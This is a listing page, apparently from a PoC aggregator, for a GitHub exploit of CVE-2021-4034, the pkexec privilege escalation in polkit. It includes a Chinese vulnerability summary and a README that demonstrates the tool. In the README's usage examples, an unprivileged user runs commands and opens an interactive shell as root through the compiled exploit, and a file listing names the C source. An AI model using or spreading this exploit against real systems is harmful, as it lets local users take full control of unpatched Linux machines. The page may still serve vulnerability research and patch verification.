CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/wudicainiao/cve-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

CVE-2021-4034 for single commcand

Readme

# CVE-2021-4034
this tool use for pkexec **single command execute**
## POC
**whoami**
```
[test@localhost cc]$ ./a.out /usr/bin/whoami
execute success : 
root
```
**ping 8.8.8.8**
```
[test@localhost cc]$ ./a.out /usr/bin/ping 8.8.8.8
execute success : 
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=61.4 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=114 time=67.0 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=114 time=59.6 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=114 time=59.0 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=114 time=58.5 ms
64 bytes from 8.8.8.8: icmp_seq=6 ttl=114 time=61.2 ms
^C
--- 8.8.8.8 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5015ms
rtt min/avg/max/mdev = 58.531/61.160/67.068/2.850 ms
```
**/usr/bin/sh**
```
 [niao@localhost cc]$ ./a.out /usr/bin/sh
execute success : 
sh-4.2# /usr/bin/whoami 
root
sh-4.2# 
```



modify from https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

File Snapshot


 [4.0K]  /data/pocs/2a48ccca7679d3adbd3f3c13389903d7639cee0c
├── [1.8K]  pkcom.c
└── [ 995]  README.md

0 directories, 2 files

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